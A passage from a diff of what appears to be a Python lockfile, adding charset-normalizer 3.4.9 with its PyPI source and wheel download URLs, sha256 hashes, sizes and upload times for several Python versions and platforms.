upload-time = "2026-04-02T09:28:37.794Z" }, +version = "3.4.9" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/bd/2a/23f34ec9d04624958e137efdc394888716353190e75f25dd22c7a2c7a8aa/charset_normalizer-3.4.9.tar.gz", hash = "sha256:673611bbd43f0810bec0b0f028ddeaaa501190339cac411f347ac76917c3ae7b", size = 152439, upload-time = "2026-07-07T14:34:58.454Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ad/81/8e983840c6e5b93b33c2ba81aa3d52c2e42f0e9a690ce7607a2e61da4a5c/charset_normalizer-3.4.9-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:cd6280cf040f233bd7d3407b743b4b4c74f70e8e1c4199cb112a62c941c0772a", size = 322240, upload-time = "2026-07-07T14:32:36.236Z" }, + { url = "https://files.pythonhosted.org/packages/de/d1/b4319dc3229d8272fba305e206fc0a148e2de8d4087917ce62ae6382f359/charset_normalizer-3.4.9-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:aa99adc8f081b475a12843953db36831eaf83ec33eb46a90629ca6a5de45a616", size = 216475, upload-time = "2026-07-07T14:32:38.142Z" }, + { url = "https://files.pythonhosted.org/packages/80/33/6c99c1b3e6b8bf730e1bc809b9a2608f224145069114c479a2e9e1494346/charset_normalizer-3.4.9-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c1225416b463483160e4af85d5fc3a9690ccb53fd4b1865a6437825f5ede3209", size = 238670, upload-time = "2026-07-07T14:32:39.658Z" }, + { url = "https://files.pythonhosted.org/packages/7f/f4/ffbb83546e1f198ecc70ecd372b65cf2b50f9068b380abd67640f17a8e18/charset_normalizer-3.4.9-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:16d10d789dd9bcca1173c95af82c58433122564b7bc39385124be735a35cbe99", size = 233476, upload-time = "2026-07-07T14:32:41.155Z" }, + { url = "https://files.pythonhosted.org/packages/e8/5f/b98b8da398637b551e427e7be922bdec19177dc54d6811dcdaa503f23aac/charset_normalizer-3.4.9-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9bb41182d93ea91f60b4bc8fbf4c820c69ef8a12ab2d917f3f1834f1acad07e8", size = 223817, upload-time = "2026-07-07T14:32:42.592Z" }, + { url = "https://files.pythonhosted.org/packages/36/31/a276bb2e66243072a3fd06fdcab9cbb61a305b02143d70d2bda21d888fa8/charset_normalizer-3.4.9-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:bcf74c1df76758a395bf0af608c04c82257523f55c9868b334f06270d0f2112b", size = 207974, upload-time = "2026-07-07T14:32:44.258Z" }, + { url = "https://files.pythonhosted.org/packages/5e/be/7ee4453d7e88dfbc4104ccd34900b9f2c7c17dac22881865fe0e82424a25/charset_normalizer-3.4.9-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b5314963fce9b0b12743891de876e724997864ee22aa496f903f426c7e2fa5b2", size = 221655, upload-time = "2026-07-07T14:32:45.64Z" }, + { url = "https://files.pythonhosted.org/packages/1d/85/181c652953eb5276d198f375b1dd641047392050098100a3a02d6534f657/charset_normalizer-3.4.9-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:e9701d0049d92c16703a42771b98d560b95248949f23f8cf7b4eddd201814fb9", size = 219229, upload-time = "2026-07-07T14:32:47.376Z" }, + { url = "https://files.pythonhosted.org/packages/0c/e7/aaf6da33fc9f4691cda8f7efbc9f69179d3d39ec8a4799baf273ee1d8db0/charset_normalizer-3.4.9-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:65a7ff3f705e57d392f7261b6d0550fe137c3019477431f1c355e0db0a7d3e15", size = 209704, upload-time = "2026-07-07T14:32:48.855Z" }, + { url = "https://files.pythonhosted.org/packages/63/01/f2fb3bd3a73be48b173ee0c6aa8d2497af97d5663a8c4c4b491de4c62f7a/charset_normalizer-3.4.9-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:79580094b00d1789d1f93ea55bc43cb2f611910c72235b7657f3482ddcc1b22d", size = 226243, upload-time = "2026-07-07T14:32:50.239Z" }, + { url = "https://files.pythonhosted.org/packages/c4/02/c57a22739fe05246b0b5783b3bfb6afaac4eebb46f3ececdfb2f048f780e/charset_normalizer-3.4.9-cp310-cp310-win32.whl", hash = "sha256:432786d3561e69aeeae6c7e8648964ce0ad05736120135601f87ac26b9c83381", size = 150935, upload-time = "2026-07-07T14:32:51.676Z" }, + { url = "https://files.pythonhosted.org/packages/37/8d/ca39a7559a4797505530d084fd3a49a2c959efbbbff146302fb7be4e3b35/charset_normalizer-3.4.9-cp310-cp310-win_amd64.whl", hash = "sha256:8c041122946b7ba21bb32c45b1aa57b1be35527690aeb3c5c234521085632eee", size = 162314, upload-time = "2026-07-07T14:32:53.193Z" }, + { url = "https://files.pythonhosted.org/packages/01/da/a44bd7a13d426e69e4894557106cd58669097bfad4a8681123b618fbfc5d/charset_normalizer-3.4.9-cp310-cp310-win_arm64.whl", hash = "sha256:375b83ed0aecfce76c16d198fbc21f3b11b337d68662bea0a995046682a11419", size = 153075, upload-time = "2026-07-07T14:32:54.554Z" }, + { url = "https://files.pythonhosted.org/packages/0b/e3/85ec501f206fb049259288c1f3506e53876937fb00edb47009348e66756b/charset_normalizer-3.4.9-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:0e94703ec9684807f20cfb5eed95c70f67f2a8f21ad620146d7b5a13677b93e5", size = 317075, upload-time = "2026-07-07T14:32:56.021Z" }, + { url = "https://files.pythonhosted.org/packages/c3/69/2a5385192e67175f7d8bd5ce4f57c24bc956439adeae5c13a99aa28a53d1/charset_normalizer-3.4.9-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2a441ea71902098ffe78c5abe6c494f44160b4af614ed16c3d9a3b1d17fd8ee2", size = 213837, upload-time = "2026-07-07T14:32:57.78Z" }, + { url = "https://files.pythonhosted.org/packages/b3/46/03ddc7da576d814fe0a36dd1f0fd3258e95404b4b2e3c026b7923d7e133f/charset_normalizer-3.4.9-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:304b13570067b2547562e308af560b3963857b1fa90bd6afd978130130fe2d6a", size = 235503, upload-time = "2026-07-07T14:32:59.205Z" }, + { url = "https://files.pythonhosted.org/packages/4e/6e/de0229a7ef40f6f9d28a837eebf4ec47bdca5dab4e900c84f22919af636a/charset_normalizer-3.4.9-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4773092f8019072343a7447203308b176e10199920eb02d6195e81bbb3274c29", size = 229944, upload-time = "2026-07-07T14:33:00.803Z" }, + { url = "https://files.pythonhosted.org/packages/a5/34/49b9060e8418b14fb5cba9cf6bfb383111e2538a03a1fb18e66a95aeb3d5/charset_normalizer-3.4.9-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:04ce310cb89c15df659582aee80a0603788732a5e017d5bd5c81158106ce249c", size = 221276, upload-time = "2026-07-07T14:33:02.199Z" }, + { url = "https://files.pythonhosted.org/packages/44/95/80282cce0fae9c3061203d723ee87da996aed79679e65d8935050ee7ca1f/charset_normalizer-3.4.9-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:c0323c9daef75ef2e5083624b4585018a0c9d5e3b40f607eed81a311270b934b", size = 205260, upload-time = "2026-07-07T14:33:03.698Z" }, + { url = "https://files.pythonhosted.org/packages/0c/74/2f62c8821b969ea3bd67cc2e6976834f48ca5d12664d2559ebcd9bcfbed7/charset_normalizer-3.4.9-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:871ff67ea1aad4dfd91736464934d56b32dac49f9fbe16cddba36198a7b3a0db", size = 217786, upload-time = "2026-07-07T14:33:05.12Z" }, + { url = "https://files.pythonhosted.org/packages/d9/8d/feabb82cb49fcad14515b1d7d1ca4787b0da7fc723a212bf89bc9e0fac52/charset_normalizer-3.4.9-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:67830fc78e67501f47bb950471b2dcb9b35b140084429318e862895a8e89c993", size = 216798, upload-time = "2026-07-07T14:33:06.629Z" }, + { url = "https://files.pythonhosted.org/packages/a5/ff/c946d63bc3786d5b84d960b0f7ab7e25b828486a946b5aa997625bcaf6a6/charset_normalizer-3.4.9-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:3d92613ec25e43b05f042302531ec0f00b8445190e43325880cbd6ab7c2581da", size = 206429, upload-time = "2026-07-07T14:33:08.006Z" }, + { url = "https://files.pythonhosted.org/packages/af/ba/5e5007c370702f85d2ef75791fac7943ed41e080364a673b20142e430e3e/charset_normalizer-3.4.9-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:280081916dc341820640489a66e4696049401ef1cf6dd672f672e70ad915aca3", size = 223066, upload-time = "2026-07-07T14:33:09.783Z" }, + { url = "https://files.pythonhosted.org/packages/83/d5/9096aa3cf532dfad237861544eb47a0f20d5adbf1039760fed8eaae935d9/charset_normalizer-3.4.9-cp311-cp311-win32.whl", hash = "sha256:ac351b3b8014eead140e77e9717e2992c6bbe30b63bc3422422eb84865412e3d", size = 150456, upload-time = "2026-07-07T14:33:11.217Z" }, + { url = "https://files.pythonhosted.org/packages/ed/a1/e29995109e455dc8eff8d0fac6ae509be39561318a7cfeac5d33ad029213/charset_normalizer-3.4.9-cp311-cp311-win_amd64.whl", hash = "sha256:6366a16e1a25018694d6a5d784d09b046edc9eac40ea2b54065c3052672516a1", size = 161410, upload-time = "2026-07-07T14:33:12.743Z" }, + { url = "https://files.pythonhosted.org/packages/4f/8d/1569f4d0032d6ba2a4fe4591c35bf87868c600c41a71eb5c2e1ffa8464c2/charset_normalizer-3.4.9-cp311-cp311-win_arm64.whl", hash = "sha256:1d22856ffbe153a602df38e4a5464f0b748a54002e0d69ac6d2ad0a197cc99ec", size = 152649, upload-time = "2026-07-07T14:33:14.173Z" }, + { url = "https://files.pythonhosted.org/packages/70/4a/ecbd131485c07fcdfad54e28946d513e3da22ef3b4bd854dcafae54ec739/charset_normalizer-3.4.9-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:45b0cc4e3556cd875e09102988d1ab8356c998b596c9fced84547c8138b487a0", size = 319300, upload-time = "2026-07-07T14:33:15.666Z" }, + { url = "https://files.pythonhosted.org/packages/ec/96/5d9364e3342d69f3a045e1777bc47c85c383e6e9466d561b33fdb419d1f9/charset_normalizer-3.4.9-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9b2aff1c7b3884512b9512c3eaadd9bab39fb45042ffaaa1dd08ff2b9f8109d9", size = 215802, upload-time = "2026-07-07T14:33:17.031Z" }, + { url = "https://files.pythonhosted.org/packages/4b/4c/5361f9aa7f2cb58d94f2ab831b3d493f69efb1d239654b4744e3c09527cb/charset_normalizer-3.4.9-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9104ed0bd76a429d46f9ec0dbc9b08ad1d2dcdf2b00a5a0daa1c145329b35b44", size = 237171, upload-time = "2026-07-07T14:33:18.576Z" }, + { url = "https://files.pythonhosted.org/packages/50/78/ce342ca4ff30b2eb49fe6d9578df85974f90c67d294113e94efdd9664cbd/charset_normalizer-3.4.9-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:7b86a2b16095d250c6f58b3d9b2eee6f4147754344f3dab0922f7c9bf7d226c9", size = 233075, upload-time = "2026-07-07T14:33:20.084Z" }, + { url = "https://files.pythonhosted.org/packages/01/c4/4fa4c8b3097a11f3c5f09a35b72ed6855fb1d332469504962ab7bafcc702/charset_normalizer-3.4.9-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5e226f6218febc71f6c1fc2fafb91c226f75bdc1d8fb12d66823716e891608fd", size = 224256, upload-time = "2026-07-07T14:33:21.747Z" }, + { url = "https://files.pythonhosted.org/packages/87/3a/ad914516df7e358a81aae018caa5e0470ba827fa6d763b1d2e87d920a5f6/charset_normalizer-3.4.9-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:90c44bc373b7687f6948b693cceaea1348ae0975d7474746559494468e3c1d84", size = 208784, upload-time = "2026-07-07T14:33:23.313Z" }, + { url = "https://files.pythonhosted.org/packages/d7/74/3c12f9755717dfe5c5c87da63f35d765fa0c00382ec26bf23f7fae34f2ba/charset_normalizer-3.4.9-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9cdef90ae47919cae358d8ab15797a800ed41da7aba5d72419fb510729e2ed4b", size = 219928, upload-time = "2026-07-07T14:33:24.814Z" }, + { url = "https://files.pythonhosted.org/packages/33/9a/895095b83e7907abd6d3d99aad3a38ad0d9686cc186cb0c94c24320fe63e/charset_normalizer-3.4.9-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:60f44ade2cf573dad7a277e6f8ca9a51a21dda572b13bd7d8539bb3cd5dbedde", size = 218489, upload-time = "2026-07-07T14:33:26.42Z" }, + { url = "https://files.pythonhosted.org/packages/a1/34/ef5c05f412f42520d7709b7d3784d19640839eb7366ded1755511585429f/charset_normalizer-3.4.9-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:a1786910334ed46ab1dd73222f2cd1e05c2c3bb39f6dddb4f8b36fc382058a39", size = 210267, upload-time = "2026-07-07T14:33:27.952Z" }, + { url = "https://files.pythonhosted.org/packages/83/dc/9b29fa4412b318bf3bfea985c35d67eb55e04b59a7c3f2237168b0e0be6f/charset_normalizer-3.4.9-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:03d07803992c6c7bbc976327f34b18b6160327fc81cb82c9d504720ac0be3b62", size = 226030, upload-time = "2026-07-07T14:33:29.397Z" }, + { url = "https://files.pythonhosted.org/packages/0e/42/6dbc00b8cd16011691203e33570fa42ed5746599a2e878112d16eab403a3/charset_normalizer-3.4.9-cp312-cp312-win32.whl", hash = "sha256:78841cccf1af7b40f6f716338d50c0902dbe88d9f800b3c973b7a9a0a693a642", size = 151185, upload-time = "2026-07-07T14:33:30.781Z" }, + { url = "https://files.pythonhosted.org/packages/80/cc/f920afd1a23c58ccd53c1d36085a71893a4737ff5e66e0371efab6809850/charset_normalizer-3.4.9-cp312-cp312-win_amd64.whl", hash = "sha256:4b3dac63058cc36820b0dd072f89898604e2d39686fe05321729d00d8ac185a0", size = 162557, upload-time = "2026-07-07T14:33:32.176Z" }, + { url = "https://files.pythonhosted.org/packages/f0/e6/0386d43a261ff4e4b30c5857af7df877254b46bec7b9d1b74b6bf969a90b/charset_normalizer-3.4.9-cp312-cp312-win_arm64.whl", hash = "sha256:78fa18e436a1a0e58dbd7e02fc4473f3f32cceb12df9dfca542d075961c307d2", size = 152665, upload-time = "2026-07-07T14:33:33.711Z" }, + { url = "https://files.pythonhosted.org/packages/b2/06/97ec2aeae780b31d742b6352218b43841a6871e2564578ca522dce4a45c3/charset_normalizer-3.4.9-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:440eede837960000d74978f0eba527be106b5b9aee0daf779d395276ed0b0614", size = 317688, upload-time = "2026-07-07T14:33:35.408Z" }, + { url = "https://files.pythonhosted.org/packages/d0/39/8ff066c672434225f8d25f8b739f992af250944392173dcc88362681c9bf/charset_normalizer-3.4.9-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:21e764fd1e70b6a3e205a0e46f3051701f98a8cb3fad66eeb80e48bb502f8698", size = 214982, upload-time = "2026-07-07T14:33:36.996Z" }, + { url = "https://files.pythonhosted.org/packages/92/8f/3a47a3667c83c2df9483d91644c6c107de3bf8874aa1793da9d3012eb986/charset_normalizer-3.4.9-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e4fd89cc178bced6ad29cb3e6dd4aa63fa5017c3524dbd0b25998fb64a87cc8b", size = 236460, upload-time = "2026-07-07T14:33:38.536Z" }, + { url = "https://files.pythonhosted.org/packages/f1/60/b22cdbee7e4013dab8b0d7647fc6181120fbbbc8f7025c226d15bd5a47fc/charset_normalizer-3.4.9-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:bd47ba7fc3ca94896759ea0109775132d3e7ab921fbf54038e1bab2e46c313c9", size = 232003, upload-time = "2026-07-07T14:33:40.059Z" }, + { url = "https://files.pythonhosted.org/packages/ea/f8/72eb13dcabe7257035cea8aefd922caad2f110d252bf9f67c4c2ca763aee/charset_normalizer-3.4.9-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:84fd18bcc17526fc2b3c1af7d2b9217d32c9c04448c16ec693b9b4f1985c3d33", size = 223149, upload-time = "2026-07-07T14:33:41.631Z" }, + { url = "https://files.pythonhosted.org/packages/b0/3e/faee8f9de92b14ee1198e9163252bb15efee7301b31256a3b6d9ebfdd0dd/charset_normalizer-3.4.9-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:5b10cd92fc5c498b35a8635df6d5a100207f88b63a4dc1de7ef9a548e1e2cd63", size = 207901, upload-time = "2026-07-07T14:33:43.209Z" }, + { url = "https://files.pythonhosted.org/packages/3a/25/45f30093ae27dd7b92a793b61882a38685f993700113ca36e0c9c14965e1/charset_normalizer-3.4.9-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:a4fbdde9dd4a9ce5fd52c2b3a347bb50cc89483ef783f1cb00d408c13f7a96c0", size = 219176, upload-time = "2026-07-07T14:33:44.725Z" }, + { url = "https://files.pythonhosted.org/packages/48/18/c8f397329c35e32f6a837e488986f4ae03bd2abebc453b48714991630c2f/charset_normalizer-3.4.9-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:416c229f77e5ea25b3dfd4b582f8d73d7e43c22320302b9ab128a2d3a0b38efe", size = 217356, upload-time = "2026-07-07T14:33:46.192Z" }, + { url = "https://files.pythonhosted.org/packages/86/7e/5ce0bba863470fd1902d5e5843968951bddf38abe4742fc97116ef4598b3/charset_normalizer-3.4.9-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:75286256590a6320cf106a0d28970d3560aad9ee09aa7b34fb40524792436d35", size = 209614, upload-time = "2026-07-07T14:33:47.705Z" }, + { url = "https://files.pythonhosted.org/packages/6c/ef/2473d3c4d869155be4af1191111d59c4d5c4e0173026f7e85b176e23bf65/charset_normalizer-3.4.9-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:69b157c5d3292bcd443faca052f3096f637f1e074b98212a933c074ae23dc3b8", size = 224991, upload-time = "2026-07-07T14:33:49.238Z" }, + { url = "https://files.pythonhosted.org/packages/d0/a3/53ddae3db108a088156aa8ddfafd411ebbc1340f48c5573f697b27f69a39/charset_normalizer-3.4.9-cp313-cp313-win32.whl", hash = "sha256:51307f5c71007673a2bf8232ad973483d281e74cb99c8c5a990af1eefa6277d9", size = 150622, upload-time = "2026-07-07T14:33:50.711Z" }, + { url = "https://files.pythonhosted.org/packages/e8/ef/6953a77c7cf2c2ff9998e6f575ab3e380119f100223381565a4f94c1f836/charset_normalizer-3.4.9-cp313-cp313-win_amd64.whl", hash = "sha256:fe2c7201c642b7c308f1675355ad7ff7b66acfe3541625efe5a3ad38f29d6115", size = 161947, upload-time = "2026-07-07T14:33:52.197Z" }, + { url = "https://files.pythonhosted.org/packages/6e/fb/d560d1d1555debbfe7849d9cac6145c1b537709d79576bf22557ed803b82/charset_normalizer-3.4.9-cp313-cp313-win_arm64.whl", hash = "sha256:611057cc5d5c0afc743ba8be6bd828c17e0aaa8643f9d0a9b9bb7dea80eb8012", size = 152594, upload-time = "2026-07-07T14:33:53.486Z" }, + { url = "https://files.pythonhosted.org/packages/7e/8d/496817fa0944239ecae662dd57ea765cfeaec6a735f9f025d4b7b72e7143/charset_normalizer-3.4.9-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:0327fcd59a935777d83410750c50600ee9571af2846f71ce40f25b13da1ef380", size = 317253, upload-time = "2026-07-07T14:33:54.994Z" }, + { url = "https://files.pythonhosted.org/packages/2b/f9/ef4a69ea338ad3c0deceea0f5f7d2380ae8b52132b06d652cb0d2cd86706/charset_normalizer-3.4.9-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8a79d9f4d8001473a30c163556b3c3bfebec837495a412dde78b51672f6134f9", size = 215898, upload-time = "2026-07-07T14:33:56.334Z" }, + { url = "https://files.pythonhosted.org/packages/8c/e7/5ddfd76fc061eb52de219658a4aa431cbacadf0a0219c8854f00da50d289/charset_normalizer-3.4.9-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:33bdcc2a32c0a0e861f60841a512c8acc658c87c2ac59d89e3a46dacf7d866e4", size = 236718, upload-time = "2026-07-07T14:33:57.9Z" }, + { url = "https://files.pythonhosted.org/packages/49/ba/768fa3f36048d81c477a0ce61f813bc1454d80917ccfe550abd9f44f5e24/charset_normalizer-3.4.9-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f840ed6d8ecba8255df8c42b87fadeda98ddfc6eeec05e2dc66e26d46dd6f58a", size = 232519, upload-time = "2026-07-07T14:33:59.811Z" }, + { url = "https://files.pythonhosted.org/packages/f4/c4/b3e049d2aa3766180c78507110543d9d50894cc97f57de543f1be521dcdc/charset_normalizer-3.4.9-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c25fe15c70c59eb7c5ce8c06a1f3fa1da0ecc5ea1e7a5922c40fd2fa9b0d5046", size = 223143, upload-time = "2026-07-07T14:34:01.517Z" }, + { url = "https://files.pythonhosted.org/packages/19/79/55c32d06d76ae4feafe053f061f3e3ab70bcf19f4007797ce8c3efda7830/charset_normalizer-3.4.9-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:f7fb7d750cfa0a070d2c24e831fd3481019a60dd317ea2b39acbcebc08b6ed81", size = 206742, upload-time = "2026-07-07T14:34:03.04Z" }, + { url = "https://files.pythonhosted.org/packages/10/e0/47c079dd82d217c807479cd59ffd30af56307ea31c108b75758970459ad3/charset_normalizer-3.4.9-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:4d1c96a7a18b9690a4d46df09e3e3382406ae3213727cd1019ebade1c4a81917", size = 219191, upload-time = "2026-07-07T14:34:04.657Z" }, + { url = "https://files.pythonhosted.org/packages/42/ab/b9bc2e77d6b44a7e46ef62ec5cac1c9a6ba7b9135a5d560f002696ec9995/charset_normalizer-3.4.9-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a4cfde78a9f2880208d16a93b795726a3017d5977e08d1e162a7a31322479c41", size = 218328, upload-time = "2026-07-07T14:34:06.115Z" }, + { url = "https://files.pythonhosted.org/packages/f1/78/c9c71d599f5aa2d42bcdd35cbbd46d7f535351a57e40ff7d8e5a7e219401/charset_normalizer-3.4.9-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:d4d6fcde76f94f5cb9e43e9e9a61f16dacefd228cbbf6f1a09bd9b219a92f1a1", size = 207406, upload-time = "2026-07-07T14:34:07.554Z" }, + { url = "https://files.pythonhosted.org/packages/f6/39/c914445c321a845097ce4f6ac7de9a18228a77b766272125a1ce00d851eb/charset_normalizer-3.4.9-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:898f0e9068ca27d37f8e83a5b962821df851532e6c4a7d615c1c033f9da6eedf", size = 225157, upload-time = "2026-07-07T14:34:09.061Z" }, + { url = "https://files.pythonhosted.org/packages/9b/f2/c0d4b8508565a36bc5c624e88ed297f5b0b1095011034d7f5b83a69908b5/charset_normalizer-3.4.9-cp314-cp314-win32.whl", hash = "sha256:c1c948747b03be832dceed96ca815cef7360de9aa19d37c730f8e3f6101aca48", size = 151095, upload-time = "2026-07-07T14:34:10.901Z" }, + { url = "https://files.pythonhosted.org/packages/49/fd/a1d26144398c67486422a72bf5812cda22cb4ccfcd95a290fb41ceb4b8e2/charset_normalizer-3.4.9-cp314-cp314-win_amd64.whl", hash = "sha256:16b65ea0f2465b6fb52aa22de5eca612aa964ddfec00a912e26f4656cbef890b", size = 162796, upload-time = "2026-07-07T14:34:12.47Z" }, + { url = "https://files.pythonhosted.org/packages/20/95/d75e82f8ce9fd323ebf059c16c9aadefb22a1ecde13b7840b35835e4886c/charset_normalizer-3.4.9-cp314-cp314-win_arm64.whl", hash = "sha256:40a126142a56b2dfc0aacbad1de8310cbf60da7656db0e6b16eebd48e3e93519", size = 153334, upload-time = "2026-07-07T14:34:14.044Z" }, + { url = "https://files.pythonhosted.org/packages/00/5e/17398df3a139985ba9d11ed072531986f408c8fca952835ef1ab1820c02b/charset_normalizer-3.4.9-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:609b3ba8fcc0fb5ab7af00719d0fb6ad0cb518e48e7712d12fd68f1327951198", size = 338848, upload-time = "2026-07-07T14:34:15.688Z" }, + { url = "https://files.pythonhosted.org/packages/cd/91/7253a32e86b7e1d1239b1b36ba6dd0f021a21107ab33054b53119cc083b9/charset_normalizer-3.4.9-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:51447e9aa2684679af07ca5021c3db526e0284347ebf4ffcec1154c3350cfe32", size = 223022, upload-time = "2026-07-07T14:34:17.248Z" }, + { url = "https://files.pythonhosted.org/packages/cb/32/2e64bd2be10e89c61e57ebe6a93fd98ae88eb7ebe414b5121f22c96c69eb/charset_normalizer-3.4.9-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:cc1b0fff8ead343dae06305f954eb8468ba0ec1a97881f42489d198e4ce3c632", size = 241590, upload-time = "2026-07-07T14:34:18.813Z" }, + { url = "https://files.pythonhosted.org/packages/3d/ef/d96ec496cfea0c21db43b0ad03891308b02388d054cc902cf0e5a1ad6a88/charset_normalizer-3.4.9-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:fa36ec09ef71d158186bc79e359ff5fdd6e7996fe8ab638f00d6b93139ba4fcf", size = 239584, upload-time = "2026-07-07T14:34:20.52Z" }, + { url = "https://files.pythonhosted.org/packages/d4/ce/9af95f7876194bd7a14e3dfe4a4de2e0bff02666a3910d72beafd06cc297/charset_normalizer-3.4.9-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:df115d4d83168fdf2cae48ef1ff6d1cb4c466364e30861b37121de0f3bf1b990", size = 230224, upload-time = "2026-07-07T14:34:22.189Z" }, + { url = "https://files.pythonhosted.org/packages/52/94/af74dde74a3996bd959c350709bfe50e297823d70a8c1cbd54b838880863/charset_normalizer-3.4.9-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:f86c6358749bd4fda175388691e3ba8c46e24c5347d0afd20f9b7edfc9faf07d", size = 212667, upload-time = "2026-07-07T14:34:23.857Z" }, + { url = "https://files.pythonhosted.org/packages/ee/f0/f1c4fe746c395922961b5916ed1d7d6e7d4c84851d19ed43cc89980ec953/charset_normalizer-3.4.9-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:32286a2c8d167e897177b673176c1e3e00d4057caf5d2b64eef9a3666b03018e", size = 227179, upload-time = "2026-07-07T14:34:25.586Z" }, + { url = "https://files.pythonhosted.org/packages/e4/56/6c745619ac397e8871e2bcd3cea1eec86b877488f33888b3aef5c3ed506e/charset_normalizer-3.4.9-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:83aed2c10721ddd90f68140685391b50811a880af20654c59af6b6c66c40513c", size = 225372, upload-time = "2026-07-07T14:34:27.212Z" }, + { url = "https://files.pythonhosted.org/packages/78/ad/98aae8630ac71f16711968e38a5acfecce41b778bf2f0312851020f565a8/charset_normalizer-3.4.9-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:cd6c3d4b783c556fa00bf540854e42f135e2f256abd29669fcd0da0f2dec79c2", size = 215222, upload-time = "2026-07-07T14:34:28.774Z" }, + { url = "https://files.pythonhosted.org/packages/f7/40/9593d54209765207a7f11073c06494c1721e4ca4a0a426c597679bf7f91e/charset_normalizer-3.4.9-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:ee2f2a527e3c1a6e6411eb4209642e138b544a2d72fe5d0d76daf77b24063534", size = 231958, upload-time = "2026-07-07T14:34:30.345Z" }, + { url = "https://files.pythonhosted.org/packages/b1/27/693ee5e8a18191eb38647360c51cd505013e2bd3b366aa43fd5344c21e3c/charset_normalizer-3.4.9-cp314-cp314t-win32.whl", hash = "sha256:0d861473f743244d349b50f850d10eb87aeb22bbdcc8e64f79273c94af5a8226", size = 155580, upload-time = "2026-07-07T14:34:31.884Z" }, + 